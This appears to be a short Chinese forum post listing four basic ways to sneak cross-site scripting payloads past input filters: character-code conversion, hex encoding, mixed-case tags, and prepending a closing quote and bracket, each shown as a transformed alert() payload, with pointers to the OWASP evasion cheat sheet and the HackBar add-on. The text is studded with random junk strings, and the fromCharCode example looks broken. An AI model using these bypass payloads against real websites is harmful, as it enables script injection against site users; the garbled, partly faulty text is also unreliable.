四种超级基础的绕过方法。6 W8 R- P$ o- F E7 s2 s
1.转换为ASCII码: d( ^( ^( \ d
例子:原脚本为<script>alert(‘I love F4ck’)</script >4 Z# C' o1 G7 P
通过转换,变成:
, O U: J' v: E$ O @<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 8216, 73, 32, 108, 111, 118, 101, 32, 70, 52, 99, 107, 8217, 41) </script>; l0 Z, o) B. v) @6 B ^% w
# {- m w% r- S8 ^# W. X, j2.转换为HEX(十六进制)
$ d k/ Y; {0 V9 Y/ d: r例子:原脚本为<script>alert(‘I love F4ck’)</script>7 v9 D( o4 { z/ U* @; `0 \! A
通过转换,变成:
2 ]3 ]( k ?6 X5 E' g%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%2018%49%20%6c%6f%76%65%20%46%34%63%6b%2019%29%3c%2f%73%63%72%69%70%74%3e
) U2 h$ B; I$ ]
- K* ]7 }8 J9 D6 G" c/ T3.转换脚本的大小写
1 ]' d: Z$ M7 Y6 L; j% }例子:原脚本为<script>alert(‘I love F4ck’)</script>* R/ u% a' E* N, p, N! j
转换为:<ScRipt>AleRt(‘I love F4ck’)</sCRipT>; q" v! R. y( U/ E
/ Z3 B7 j& M6 W
4.增加闭合标记”>
7 A# \; ?! y6 d: E9 y5 n例子:原脚本为<script>alert(‘I love F4ck’)</script>' B+ b8 O8 R% ?7 s6 ^- J
转换为:”><script>alert(‘I love F4ck’)</script>, i* ^0 X0 R8 V$ f$ i8 J' j6 U
更详细绕过技术请参考此网页
& x2 b7 J$ C0 ~' q0 c) _https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet" |; y% ~6 U* l
: }; f+ B B) \9 k$ v
转换工具使用的是火狐的 hackbar mozilla addon. |